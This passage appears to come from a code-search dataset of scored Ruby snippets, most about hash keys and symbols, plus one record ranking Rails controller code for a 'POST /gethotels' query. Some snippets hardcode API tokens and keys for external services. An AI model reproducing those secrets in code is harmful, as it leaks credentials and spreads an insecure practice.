"c655079e0d9471ee84af62988ee37baa", "score": "0.51240045", "text": "def deep_symbolize_keys!; end", "title": "" }, { "docid": "c655079e0d9471ee84af62988ee37baa", "score": "0.51240045", "text": "def deep_symbolize_keys!; end", "title": "" }, { "docid": "a7c00ac7fca359a91a4e5643fb8fe9d0", "score": "0.5121213", "text": "def dig_keys; end", "title": "" }, { "docid": "e2e2157ef05ffdd4d5c8e8994fa91ecc", "score": "0.5117963", "text": "def keys\n @layout.keys.map(&:to_sym)\n end", "title": "" }, { "docid": "bbe03efa6e0dd8a20a4210bd98c2f862", "score": "0.5112139", "text": "def keys(def_key)\n def_key.split(',').map(&:strip)\n end", "title": "" }, { "docid": "0a4ac0c61ff85d8cd8da8f2a1c274bf7", "score": "0.51073575", "text": "def symbol(key)\n value = CONFIG[key]\n check_value!(key, value, Symbol)\n value.nil? ? None : Some(Java::scala.Symbol.apply(value.to_s))\n end", "title": "" }, { "docid": "85c8c830aa02d94907ae923c7928881e", "score": "0.51030755", "text": "def config(config_symbol)\n if config_hash[tag]\n config_hash[tag][config_symbol.to_s]\n else\n nil\n end\n end", "title": "" }, { "docid": "57f30f537dd24d4f207c7de81f2a590b", "score": "0.5101934", "text": "def config_key( sym=nil )\n\t\tself.config_key = sym unless sym.nil?\n\t\t@config_key ||= Configurability.make_key_from_object( self )\n\t\t@config_key\n\tend", "title": "" }, { "docid": "d03ca38a3fab629b9aa17271977a6630", "score": "0.51009715", "text": "def keys\n key + 's'\n end", "title": "" }, { "docid": "4078b6f9afe7884063258ed50c1351aa", "score": "0.5093843", "text": "def symbolize_keys!\n replace symbolize_keys\n end", "title": "" }, { "docid": "bf6d509708b85d01560e283b009a891f", "score": "0.50830805", "text": "def key_value_from_config( name )\n path = File.expand_path '~/.xtvd'\n regex = /^ *#{name}: */\n line = IO.readlines( path ).grep(regex).first\n line.sub( regex, '').strip\n end", "title": "" }, { "docid": "d738788955f6ea77474b440199be2fcf", "score": "0.5080602", "text": "def visit_assoc(node)\n if node.value.nil?\n # { foo: }\n expression = srange(node.start_char, node.end_char - 1)\n type, location =\n if node.key.value.start_with?(/[A-Z]/)\n [:const, smap_constant(nil, expression, expression)]\n else\n [:send, smap_send_bare(expression, expression)]\n end\n\n s(\n :pair,\n [\n visit(node.key),\n s(type, [nil, node.key.value.chomp(\":\").to_sym], location)\n ],\n smap_operator(\n srange_length(node.key.end_char, -1),\n srange_node(node)\n )\n )\n elsif node.key.is_a?(Label)\n # { foo: 1 }\n s(\n :pair,\n [visit(node.key), visit(node.value)],\n smap_operator(\n srange_length(node.key.end_char, -1),\n srange_node(node)\n )\n )\n elsif (operator = srange_search_between(node.key, node.value, \"=>\"))\n # { :foo => 1 }\n s(\n :pair,\n [visit(node.key), visit(node.value)],\n smap_operator(operator, srange_node(node))\n )\n else\n # { \"foo\": 1 }\n key = visit(node.key)\n key_location =\n smap_collection(\n key.location.begin,\n srange_length(node.key.end_char - 2, 1),\n srange(node.key.start_char, node.key.end_char - 1)\n )\n\n s(\n :pair,\n [s(key.type, key.children, key_location), visit(node.value)],\n smap_operator(\n srange_length(node.key.end_char, -1),\n srange_node(node)\n )\n )\n end\n end", "title": "" }, { "docid": "9e4707fdfab1e934017435775c65daad", "score": "0.50630814", "text": "def parse_key(key)\n end", "title": "" }, { "docid": "9e4707fdfab1e934017435775c65daad", "score": "0.50630814", "text": "def parse_key(key)\n end", "title": "" }, { "docid": "2883f635fe73a6c97c374eaa801bdabe", "score": "0.50598615", "text": "def config_context_hash(plural_symbol, singular_symbol, &block); end", "title": "" }, { "docid": "b25400a2bd13c0e2ba338b80398cff3e", "score": "0.5059252", "text": "def symbols\n self.map {|c| \"#{c.key.name if c.key}#{c.primary_symbol.name}\" }\n end", "title": "" }, { "docid": "81adcbdc67040a5fa36864fb747e4cc5", "score": "0.50575197", "text": "def octokey(thing)\n thing.is_a?(String) ? thing.to_sym : thing\n end", "title": "" }, { "docid": "a74b03e7fe6e108fa396dd387c9933f5", "score": "0.5056764", "text": "def visit_dyna_symbol(node); end", "title": "" }, { "docid": "98064f9917b85c797b890122b6b42132", "score": "0.5049948", "text": "def parse_key(key)\n end", "title": "" }, { "docid": "d6ddbde0bc426340948e04c2c24aded9", "score": "0.5043213", "text": "def order_of_keys\n %w(\n CVE\n yaml_instructions\n curated_instructions\n curated\n reported_instructions\n reported_date\n announced_instructions\n announced_date\n published_instructions\n published_date\n description_instructions\n description\n bounty_instructions\n bounty\n reviews\n bugs\n repo\n fixes_vcc_instructions\n fixes\n vccs\n upvotes_instructions\n upvotes\n unit_tested\n discovered\n autodiscoverable\n specification\n subsystem\n interesting_commits\n i18n\n sandbox\n ipc\n lessons\n mistakes\n CWE_instructions\n CWE\n CWE_note\n nickname_instructions\n nickname\n )\nend", "title": "" }, { "docid": "e3162bc4da36c73d25b9f35688f15e3c", "score": "0.5043194", "text": "def key_value_line(key, value, comments)\n line = \"\\\"#{key}\\\" = \\\"#{value}\\\";\"\n unless comments.empty?\n line = ([line] + comments.map{|c|\"/* #{c} */\"}).join(\" \")\n end\n line\nend", "title": "" }, { "docid": "594bf77c6c675eb2284ead6cc8ff36a1", "score": "0.50413036", "text": "def order_of_keys\n %w(\n CVE\n yaml_instructions\n curated_instructions\n curated\n reported_instructions\n reported\n announced_instructions\n announced\n published_instructions\n published\n description_instructions\n description\n bounty_instructions\n bounty\n reviews\n bugs\n repo\n fixes_vcc_instructions\n fixes\n vccs\n upvotes_instructions\n upvotes\n unit_tested\n discovered\n autodiscoverable\n specification\n subsystem\n interesting_commits\n i18n\n ipc\n lessons\n mistakes\n CWE_instructions\n CWE\n CWE_note\n nickname_instructions\n nickname\n )\nend", "title": "" }, { "docid": "7aa3c1c59986ba56cba36adb9a89d71c", "score": "0.5037001", "text": "def serialize_commented_keywords keywords_structure\n keywords_structure.to_yaml.split(\"\\n\").map { |l| l.prepend \"# \" }.join(\"\\n\")\n end", "title": "" }, { "docid": "a67aaf413c0f0a372d225ae1a04de3d1", "score": "0.5034904", "text": "def convert_key(key)\n key.to_sym\n end", "title": "" }, { "docid": "9b5ef7d735d78c92c6763fd590d5f97e", "score": "0.5031623", "text": "def symbol_key\n self.rule_key.to_sym\n end", "title": "" }, { "docid": "2703901f14ab1a1be06a31fb67d81ebc", "score": "0.5028916", "text": "def key\n self[:key].to_sym if self[:key].present?\n end", "title": "" }, { "docid": "85c52cf184b23a59f7af32d6e5ccc4e9", "score": "0.5024569", "text": "def order_of_keys\n %w(\n CVE\n yaml_instructions\n curated_instructions\n curated\n reported_instructions\n reported_date\n announced_instructions\n announced_date\n published_instructions\n published_date\n description_instructions\n description\n bounty_instructions\n bounty\n reviews\n bugs\n repo\n fixes_vcc_instructions\n fixes\n vccs\n upvotes_instructions\n upvotes\n unit_tested\n discovered\n autodiscoverable\n specification\n subsystem\n interesting_commits\n i18n\n ipc\n lessons\n mistakes\n CWE_instructions\n CWE\n CWE_note\n nickname_instructions\n nickname\n )\nend", "title": "" }, { "docid": "64a2730334db6f8f17efbdcdff543a42", "score": "0.50157917", "text": "def render_key(keytype, key, comment)\n \"#{keytype} #{key} #{comment}\"\n end", "title": "" }, { "docid": "a245d4a8c09bf83b897fb6c010c26381", "score": "0.5009696", "text": "def symbols(file); end", "title": "" }, { "docid": "8ca38f2be7a4df64a758b9b233f31d0a", "score": "0.50084364", "text": "def extra_kyc_field_instruction_text_config\n {\n data_kind: 'html',\n validations: {\n required: 0\n },\n max_length: 400,\n default_value: ''\n\n }.deep_stringify_keys\n end", "title": "" }, { "docid": "8aaaa8513aa1abe58b8f7ede54ec3881", "score": "0.50059694", "text": "def config(key)\n @config[key.to_sym] || @config[key.to_s]\n end", "title": "" }, { "docid": "000611d81365d36a60b2f1117e89afc7", "score": "0.50042975", "text": "def key_coercions; end", "title": "" }, { "docid": "c305fc1fa031aa4df7d57056801deac4", "score": "0.49938223", "text": "def isSymbol?(key)\n key[0, 1] == \":\"\n end", "title": "" }, { "docid": "d3d643791097e680aea06510dd751078", "score": "0.49917218", "text": "def symbols; end", "title": "" }, { "docid": "d3d643791097e680aea06510dd751078", "score": "0.49917218", "text": "def symbols; end", "title": "" }, { "docid": "d3d643791097e680aea06510dd751078", "score": "0.49917218", "text": "def symbols; end", "title": "" }, { "docid": "a2854a0312aaac4c0131eb9af9d5822a", "score": "0.49870142", "text": "def key_config(options = {})\n # allow for loose naming of keys configuration symbols can use :key_prefix or just :prefix\n options.keys.each do |key|\n options[\"key_#{key}\".to_sym] = options[key] if key.to_s !~ /^key_/\n end\n options.each do |key, value|\n self.send( key , value) if self.respond_to? key\n end\n end", "title": "" }, { "docid": "d8a1b8166144d58e21e6aea246f28bd9", "score": "0.49866462", "text": "def SymbolContent(value); end", "title": "" }, { "docid": "c361792b6e128a232ea46f6b6e44406a", "score": "0.49843833", "text": "def ssh_key_display_format\n ERB.new <<-FORMAT\n Name: <%= key.name %>\n Type: <%= key.type %>\nFingerprint: <%= key.fingerprint %>\n\n FORMAT\n end", "title": "" }, { "docid": "80702d7969e5da791a954d47b5a483d9", "score": "0.4980479", "text": "def key_coercion(key); end", "title": "" }, { "docid": "25f39bfa57fe531126ccc33704ba61e8", "score": "0.4979424", "text": "def config_key\n snake_case_basename(name).to_sym\n end", "title": "" }, { "docid": "ef5d84d4cdbcf252ec3ec7bae7fded6d", "score": "0.49745417", "text": "def key\n @definition[\"name\"]\n end", "title": "" }, { "docid": "ef5d84d4cdbcf252ec3ec7bae7fded6d", "score": "0.49745417", "text": "def key\n @definition[\"name\"]\n end", "title": "" }, { "docid": "bd1fc4c97e8e404ee8a5fe40ef17f39a", "score": "0.4971496", "text": "def dot_encoding_strings\n\t\tenc = Array.new\n\t\tedges_considered = Array.new\n\t\t@adjacency_list.keys.each do |v|\n\t\t\tresult = path [v], edges_considered\n\t\t\tenc.push result[:so_far].join(\" -- \") unless result[:so_far].length == 1 and !neighbors(result[:so_far].first).empty?\n\t\t\tedges_considered = result[:edges_considered]\n\t\tend\n\t\tenc \n\tend", "title": "" }, { "docid": "f12d992ac75d531789defe48f9cdf455", "score": "0.49702197", "text": "def labels\n keys\n end", "title": "" }, { "docid": "c985abbe5eb5a97263726f7a733baff2", "score": "0.49691337", "text": "def set_label labels, key, value\n labels[key] = value if value.is_a? ::String\n end", "title": "" }, { "docid": "c19deb0596c5c41f766e2663a6450f57", "score": "0.49685022", "text": "def print_config\n output 'host_name', hostname unless hostname.nil?\n\n GRAPH_ATTRIBUTES.each do |graph_attribute|\n graph_option = @@graph_options[graph_attribute.to_sym]\n output \"graph_#{graph_attribute}\", graph_option unless graph_option.nil?\n end\n\n fields.each do |field|\n field.config.each_pair { |key, value| output key, value }\n end\n end", "title": "" }, { "docid": "9cccaa2803748bdfecb1b13dbbbc4875", "score": "0.4966919", "text": "def symbolize(value)\n # TODO: don't symbolize value if it contains spaces?\n if value.is_a?(String) && value.start_with?(':') && value.length > 1\n value[1..-1].to_sym\n elsif value.is_a?(Array)\n value.collect {|v| symbolize(v) }\n elsif value.is_a?(Hash)\n Hash[value.collect {|k, v| [symbolize(k), symbolize(v)] }]\n else\n value\n end\n end", "title": "" }, { "docid": "f8cf889f2b6f5e702aae13559c6a443a", "score": "0.4965408", "text": "def [](symbol)\n config[symbol.to_sym]\n end", "title": "" }, { "docid": "d00e795f5aca6f6235854f2055d45e3c", "score": "0.49643934", "text": "def [] key\n key = key.to_sym if symbolize?\n @configuration[key]\n end", "title": "" }, { "docid": "d5aa5ab47462f8292444285be8d82e61", "score": "0.4962313", "text": "def on_symbol_literal(value); end", "title": "" }, { "docid": "79d34b29467c0fbfd867d5d2ccc9e82e", "score": "0.49615222", "text": "def match_symbols(text, yaml_hash)\n text.gsub(/:([A-Za-z0-9_]+)\\.t/) do |m|\n yaml_hash[\"translations\"][$1.to_sym] = $1\n end\n text.gsub(/:([A-Za-z0-9_]+)\\[\"(([^\"\\\\]|\\\\.)*)\"\\]/) do |m|\n yaml_hash[\"translations\"][$1.to_sym] = $2\n end\n text.gsub(/:([A-Za-z0-9_]+)\\['(([^'\\\\]|\\\\.)*)'\\]/) do |m|\n yaml_hash[\"translations\"][$1.to_sym] = $2\n end\n end", "title": "" }, { "docid": "dbde32020eee819fa64c2950e97ffb5b", "score": "0.4959991", "text": "def key(values)\n \"#{name}:#{values.join(':')}\"\n end", "title": "" }, { "docid": "a5c3e3c89be86612c15f54a9a2211cb9", "score": "0.4957467", "text": "def property(key, options = {})\n# puts \"options: #{options.inspect}\"\n key = key.to_sym\n \n if false == options[:show]\n show = false\n else\n show = true\n end\n\n editable(key, false) if false == options[:editable]\n\n if show && !@options[:properties].include?(key)\n @options[:properties] << key\n l = options[:alias] || key.to_s.capitalize\n @labels << options.merge({ :key => key, :label => l })\n elsif !show\n @options[:properties].delete(key)\n @labels.delete_if do |k|\n k[:key] == key\n end\n end\n end", "title": "" }, { "docid": "6529b98e51d57109c622ca1810f411f6", "score": "0.49563715", "text": "def visit_symbeg(node); end", "title": "" }, { "docid": "03cae401cd462efac2e963e38391a0f7", "score": "0.49541125", "text": "def document_symbol; end", "title": "" }, { "docid": "47f27495de17e0afcb2b63e929575739", "score": "0.4951639", "text": "def symbol_map\n @kv_map\n end", "title": "" }, { "docid": "47f27495de17e0afcb2b63e929575739", "score": "0.4951639", "text": "def symbol_map\n @kv_map\n end", "title": "" }, { "docid": "5dbf7bf07b275a56b23a3fb5fea37b9c", "score": "0.49499175", "text": "def configure\n body = StringIO.new\n body.puts \"graph_title #{title}\"\n body.puts \"graph_category #{category}\"\n body.puts \"graph_vlabel #{vertical_label}\"\n \n (@labels || {}).each do |field, label|\n body.puts \"#{field}.label #{label}\"\n end\n \n body.rewind\n body.read\n end", "title": "" } ]
e7ec36be46702ff32666b135f1e7ccbd
POST /gethotels POST /gethotels.json
[ { "docid": "d7c25cf93b1e40dd7d38218f5eb07216", "score": "0.58946437", "text": "def create\n gethotel = Gethotel.get_hotels(params)\n respond_to do |format|\n if gethotel.body.include?(\"<boolean xmlns=\\\"http://www.reconline.com/\\\">true</boolean>\")\n flash[:notice] = 'Gethotel was successfully created.'\n format.html { redirect_to :action=>:index }\n format.json { render json: @gethotel, status: :created, location: @gethotel }\n else\n flash[:notice] = gethotel.body\n format.html { render action: \"new\" }\n format.json { render json: @gethotel.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "f56aa0ec06aa777ff5fcd1e7e5849c89", "score": "0.5332774", "text": "def new\n #@gethotel = Gethotel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gethotel }\n end\n end", "title": "" }, { "docid": "5d400df4fe681e447b2ed351071bef96", "score": "0.5157653", "text": "def post_in_geofence(lat_coordinate, lng_coordinate) # coordinates are strings\n if !geofence_id.nil?\n require 'net/http'\n require 'json'\n begin\n uri = URI('https://api.fencer.io/v1.0/position/inside/' + Geofence.find(geofence_id).key)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n headers = {'Authorization' => '5195ba22-ab3c-52f6-bab9-d15ff7b8794e', 'Lat-Pos' => lat_coordinate.to_s, 'Lng-Pos' => lng_coordinate.to_s}\n req = Net::HTTP::Get.new(uri.path, headers)\n res = http.request(req)\n resp = res.body\n resp_in_js = JSON.parse(resp)\n answer = resp_in_js[\"data\"][\"inside\"]\n end\n else\n true\n end\n end", "title": "" }, { "docid": "731caf70ca830d89c4881b7f63917929", "score": "0.50878596", "text": "def create\n @geo_datum = GeoDatum.new(geo_datum_params)\n\n respond_to do |format|\n if @geo_datum.save\n format.html { redirect_to @geo_datum, notice: 'Geo datum was successfully created.' }\n format.json { render :show, status: :created, location: @geo_datum }\n else\n format.html { render :new }\n format.json { render json: @geo_datum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "97e94f475c1904e81e23f0abaf209f15", "score": "0.5049019", "text": "def four_ninety_eight(e)\n render json: jsonData(e), status: :invalid_token\n end", "title": "" }, { "docid": "f05e4f116b60f5e6d4f0a489997cdf2f", "score": "0.5018109", "text": "def new\n @letter = Letter.new(params[:letter])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @letter }\n end\n end", "title": "" }, { "docid": "721a89f95038147d9191d5ec3768f778", "score": "0.49784538", "text": "def gethashespersec\n @api.request 'gethashespersec'\n end", "title": "" }, { "docid": "96ef85631fe5ae27af7d7b44cf20f798", "score": "0.4971103", "text": "def create\n @groep = Groep.new(params[:groep])\n @lesgevers = Lesgever.order('name').all\n @dags = Dag.all\n @niveaus = Niveau.order('position').all\n respond_to do |format|\n if @groep.save\n format.html { redirect_to @groep, notice: 'Groep werd succesvol aangemaakt.' }\n format.json { render json: @groep, status: :created, location: @groep }\n else\n format.html { render action: \"new\" }\n format.json { render json: @groep.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c1bbbefae18288fc0d3d51e435d77707", "score": "0.49331176", "text": "def create\n @admin_geonode = Admin::Geonode.new(params[:admin_geonode])\n\n respond_to do |format|\n if @admin_geonode.save\n format.html { redirect_to @admin_geonode, notice: 'Geonode was successfully created.' }\n format.json { render json: @admin_geonode, status: :created, location: @admin_geonode }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_geonode.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cdef45d299541d5d7103edad995eebce", "score": "0.49303955", "text": "def create\n @gempost = Gempost.new(gempost_params)\n\n respond_to do |format|\n if @gempost.save\n format.html { redirect_to @gempost, notice: 'Gempost was successfully created.' }\n format.json { render :show, status: :created, location: @gempost }\n else\n format.html { render :new }\n format.json { render json: @gempost.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a06766368f5b68e16fd8da75560663bf", "score": "0.49179178", "text": "def create\n @geocach = Geocach.new(params[:geocach])\n\n respond_to do |format|\n if @geocach.save\n format.html { redirect_to @geocach, notice: 'A Geocache was successfully created.' }\n format.json { render json: @geocach, status: :created, location: @geocach }\n else\n format.html { render action: \"new\" }\n format.json { render json: @geocach.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ac3a221dc85cb8426f81c96e6551bc65", "score": "0.48942962", "text": "def create\n @letter = Letter.new(params[:letter])\n\n city_id = params[:user_city]\n\n respond_to do |format|\n if @letter.save\n format.html { redirect_to preview_letter_path(@letter), notice: 'Surat berjaya dicipta.' }\n format.json { render json: @letter, status: :created, location: @letter }\n else\n flash[:alert] = 'Perkara Diperlukan' \n format.html { render 'new' }\n format.json { render json: @letter.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "598011dd4dc9d1dd1dc75b907a9b645a", "score": "0.4887516", "text": "def create\n @hoge = Hoge.new(params[:hoge])\n\n respond_to do |format|\n if @hoge.save\n format.html { redirect_to @hoge, notice: 'Hoge was successfully created.' }\n format.json { render json: @hoge, status: :created, location: @hoge }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hoge.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "778547c0ea212966f77dcaa73b219572", "score": "0.48869398", "text": "def create\n @geo = Geo.new(geo_params)\n\n respond_to do |format|\n if @geo.save\n format.html { redirect_to @geo, notice: 'Geo was successfully created.' }\n format.json { render :show, status: :created, location: @geo }\n else\n format.html { render :new }\n format.json { render json: @geo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3944fbb652ba12cbedd3a71e5a18b2fa", "score": "0.48731744", "text": "def new\n @geopoint = Geopoint.new\n @lat = 13.7522222\n @lng = 100.4938889\n @json = '[{\"lng\": \"100.4938889\", \"lat\": \"13.7522222\"}]'\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @geopoint }\n end\n end", "title": "" }, { "docid": "e7cbb3520ea6889bc6b37807c8cc227a", "score": "0.4862985", "text": "def create\n gethotelstaticdatagd = Gethotelstaticdatagd.get_hotel_static_data_gds(params)\n\n respond_to do |format|\n if gethotelstaticdatagd.body.include?(\"<boolean xmlns=\\\"http://www.reconline.com/\\\">true</boolean>\")\n flash[:notice] = 'Gethotelstaticdatagd was successfully created.'\n format.html { redirect_to :action=>:index }\n format.json { render json: @gethotelstaticdatagd, status: :created, location: @gethotelstaticdatagd }\n else\n flash[:notice] = gethotelstaticdatagd.body\n format.html { render action: \"new\" }\n format.json { render json: @gethotelstaticdatagd.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6c4dd4eb28e3265bed6dce290f0b4890", "score": "0.48298976", "text": "def new\n @post_geo = current_user.post_geos.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post_geo }\n end\n end", "title": "" }, { "docid": "f7dd1480281ff0ff74a6bee71f22c886", "score": "0.48221192", "text": "def destroy\n @gethotel = Gethotel.find(params[:id])\n @gethotel.destroy\n\n respond_to do |format|\n format.html { redirect_to gethotels_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4a9e59f45bbfcaa1ede2b23ca36f7223", "score": "0.47976053", "text": "def create\n @lounge = Lounge.new(lounge_params)\n\n respond_to do |format|\n if @lounge.save\n format.html { redirect_to @lounge, notice: 'Lounge was successfully created.' }\n format.json { render :show, status: :created, location: @lounge }\n else\n format.html { render :new }\n format.json { render json: @lounge.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "942226398ecf0a0a1879706e121cec66", "score": "0.47664148", "text": "def gee_params\n params.require(:gee).permit(:user_id, :name, :description, :category_id, :is_public, :expiration_date)\n end", "title": "" }, { "docid": "cf936171225ebcfbced888fe7b8a8b29", "score": "0.47521073", "text": "def generate_tags\n uri = URI.parse(\"https://api.thomsonreuters.com/permid/calais\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n post_body = []\n post_body << \"<Document><Body>\"\n # stip html\n post_body << ActionView::Base.full_sanitizer.sanitize(params[:desc])\n # no strip\n # post_body << params[:desc]\n post_body << \"</Body></Document>\"\n request = Net::HTTP::Post.new(uri.request_uri)\n request.add_field(\"Content-Type\",\"text/xml\")\n request.add_field(\"outputFormat\",\"application/json\")\n #request.add_field(\"outputFormat\",\"text/n3\") \n request.add_field(\"x-ag-access-token\",\"fY7WUM3GGCXHm9ATOhtzhrvlWX8oPo5X\")\n request.body = post_body.join\n # request[\"Content-Type\"] = \"multipart/form-data, boundary=#{BOUNDARY}\"\n\n render :json => http.request(request).body\n end", "title": "" }, { "docid": "ae442e95644e5baa4d00d3fa76a86dd0", "score": "0.47420812", "text": "def createCharities\n\tcharity_list = [\"Direct Relief\", \"Catholic Medical Mission Board\", \"MAP International\", \"United Nations Foundation\", \"The Rotary Foundation of Rotary International\", \"Samaritan's Purse\", \"Institute of International Education\", \"International Rescue Committee\", \"Compassion International\", \"United States Fund for UNICEF\"]\n\tcharity_list.each do |charity|\n\t\tRestClient.post 'http://api.reimaginebanking.com/merchants?key=e0486a76005721ee6d86b140eaea2a40', { \"name\": \"#{charity}\"}.to_json, :content_type => :json, :accept => :json\n\tend\nend", "title": "" }, { "docid": "282a43234cd399a4b7c4a2368825c59b", "score": "0.473882", "text": "def create\n @elector = Elector.new(elector_params)\n\n if @elector.save\n render json: @elector, status: :created, location: @elector\n else\n render json: @elector.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "0f2bfeb6d978f620c9c9ce9125488d30", "score": "0.47264108", "text": "def geo_params\n params.require(:geo).permit(:country, :expectancy)\n end", "title": "" }, { "docid": "86c7fd19284dc6b96b8abd1ec98fd370", "score": "0.47183746", "text": "def estrada_params\n params.require(:estrada).permit(:descricao, :geom)\n end", "title": "" }, { "docid": "b199a36cdae170b4ad6984cd0f7bb6c2", "score": "0.4701745", "text": "def create\n @guest_hotel = GuestHotel.new(guest_hotel_params)\n\n respond_to do |format|\n if @guest_hotel.save\n format.html { redirect_to @guest_hotel, notice: 'Guest hotel was successfully created.' }\n format.json { render :show, status: :created, location: @guest_hotel }\n else\n format.html { render :new }\n format.json { render json: @guest_hotel.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b5e2c8821c65a63ae49bc9c61ac3f2a6", "score": "0.46950847", "text": "def create\n @dog_poly = DogPoly.new(dog_poly_params)\n\n respond_to do |format|\n if @dog_poly.save\n format.html { redirect_to @dog_poly, notice: 'Dog poly was successfully created.' }\n format.json { render :show, status: :created, location: @dog_poly }\n else\n format.html { render :new }\n format.json { render json: @dog_poly.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7ff09059dce0c6acbf6e886f81161a20", "score": "0.46938205", "text": "def create\n @chalie_vice_letter = ChalieVice::Letter.new(chalie_vice_letter_params)\n\n respond_to do |format|\n if @chalie_vice_letter.save\n format.html { redirect_to @chalie_vice_letter, notice: 'Letter was successfully created.' }\n format.json { render :show, status: :created, location: @chalie_vice_letter }\n else\n format.html { render :new }\n format.json { render json: @chalie_vice_letter.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "511c8117c9297eca0605a0cdd13a73cb", "score": "0.46839166", "text": "def gethashespersec\n request :gethashespersec\n end", "title": "" }, { "docid": "413241e73fddd454db36b9047dd2d50c", "score": "0.46632272", "text": "def update\n @solution.letters = params[:letters]\n @solution.save\n end", "title": "" }, { "docid": "383d672fc2e90134193fbadd3fa57d93", "score": "0.4660427", "text": "def create\n @betraege = Betraege.new(params[:betraege])\n\n respond_to do |format|\n if @betraege.save\n format.html { redirect_to @betraege, :notice => 'Betraege was successfully created.' }\n format.json { render :json => @betraege, :status => :created, :location => @betraege }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @betraege.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8e612dc22d03604adeeb3e3bfeae1144", "score": "0.46573502", "text": "def create\n post_params = {\n name: params[:name].downcase,\n units: params[:units] || 0\n }\n render json: Ingredient.create!(post_params), status: :created\n end", "title": "" }, { "docid": "376c6179dfb485c92496bd400eb4d427", "score": "0.4643491", "text": "def update\n @gethotel = Gethotel.find(params[:id])\n\n respond_to do |format|\n if @gethotel.update_attributes(params[:gethotel])\n format.html { redirect_to @gethotel, notice: 'Gethotel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gethotel.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "246bb749e75e4440db329c8b41828f9a", "score": "0.46432906", "text": "def create\n @leye = Leye.new(params[:leye])\n\n respond_to do |format|\n if @leye.save\n format.html { redirect_to @leye, notice: 'Leye was successfully created.' }\n format.json { render json: @leye, status: :created, location: @leye }\n else\n format.html { render action: \"new\" }\n format.json { render json: @leye.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ebbd62cc85b49f6d07e43ee5d655418c", "score": "0.46430814", "text": "def create\n @elder = Elder.new(elder_params)\n\n respond_to do |format|\n if @elder.save\n format.html { redirect_to @elder, notice: 'Se añadió correctamente la información.' }\n format.json { render :show, status: :created, location: @elder }\n else\n format.html { render :new }\n format.json { render json: @elder.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "48237d70a6b310ff579d49ca43a464d1", "score": "0.4640254", "text": "def create\n @energy_datum = EnergyDatum.new(params[:energy_datum])\n\n respond_to do |format|\n if @energy_datum.save\n format.html { redirect_to @energy_datum, notice: 'Energy datum was successfully created.' }\n format.json { render json: @energy_datum, status: :created, location: @energy_datum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @energy_datum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e3bae03fb3d67b255ac78675e120dc73", "score": "0.46327943", "text": "def create\n @hotspot_registration = HotspotRegistration.new(guest_params)\n\n respond_to do |format|\n if @hotspot_registration.save\n format.html { redirect_to @hotspot_registration, notice: 'Guest was successfully created.' }\n format.json { render :show, status: :created, location: @hotspot_registration }\n else\n format.html { render :new }\n format.json { render json: @hotspot_registration.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f0511d80743d7956534010f1b6de8ab1", "score": "0.46294874", "text": "def show\n @gethotel = Gethotel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gethotel }\n end\n end", "title": "" }, { "docid": "e5b86ed149cc47245c188d7d89926156", "score": "0.46269283", "text": "def create\n @post_geos = params[:post_geos].split(\"\\n\").map{|line| line.blank? ? nil : line.strip}.compact\n current_user.settings.post_geos = @post_geos\n\n respond_to do |format|\n format.html { redirect_to [:client,:post_geos], notice: 'Post category was successfully created.' }\n format.json { render json: @post_geo, status: :created, location: @post_geo }\n end\n end", "title": "" }, { "docid": "a62dc68c2f09020b5923e9513e2b5fa9", "score": "0.46258172", "text": "def dog_poly_params\n params[:dog_poly]\n end", "title": "" }, { "docid": "81c80e0dd3040be9758ed62d895e6eca", "score": "0.46209508", "text": "def create\n @esod_outgoing_letter = Esod::OutgoingLetter.new(esod_outgoing_letter_params)\n\n respond_to do |format|\n if @esod_outgoing_letter.save\n format.html { redirect_to @esod_outgoing_letter, notice: 'Outgoing letter was successfully created.' }\n format.json { render :show, status: :created, location: @esod_outgoing_letter }\n else\n format.html { render :new }\n format.json { render json: @esod_outgoing_letter.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cde9f5586a89e688d2933d0714727762", "score": "0.46108443", "text": "def four_twenty_two(e)\n render json: jsonData(e), status: :unprocessable_entity\n end", "title": "" }, { "docid": "ac18e3dc9de1532f4187940a9b3741d0", "score": "0.46030957", "text": "def new\n # @gethotelstaticdatagd = Gethotelstaticdatagd.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gethotelstaticdatagd }\n end\n end", "title": "" }, { "docid": "535119a1bae789f39cb6244e7a8db04b", "score": 